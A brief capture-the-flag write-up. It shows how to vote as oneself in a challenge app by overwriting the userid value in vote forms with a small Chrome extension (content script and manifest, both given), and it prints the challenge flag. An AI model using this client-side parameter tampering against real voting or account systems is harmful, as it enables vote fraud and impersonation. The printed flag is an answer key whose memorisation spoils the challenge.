You can vote for yourself. There is no restrictions for doing such things, so easily we can change userid value inside input form for vote button.
To automate this process would be useful to write extension which changes all userid's inside input button form to your's userid.
Example: Change all userid's on the page to 947 by Chrome extension

• content.js

       var vote = document.getElementsByTagName('input');for (var i = 0, l = vote.length; i < l; i++) {  vote[i].value = '947';}

• manifest.json

       {  "manifest_version": 2,
          "name": "Modify userid inside vote button",  "version": "0.0.1",  "description": "1DEA",
          "content_scripts": [{    "css": ["styles.css"],    "js": ["content.js"],    "matches": ["http://188.166.44.105:8888/voting/*"]  }]
        }
Then we can install this extension and click any vote button on page to vote for ourselves

FLAG: RAINBOWPUKE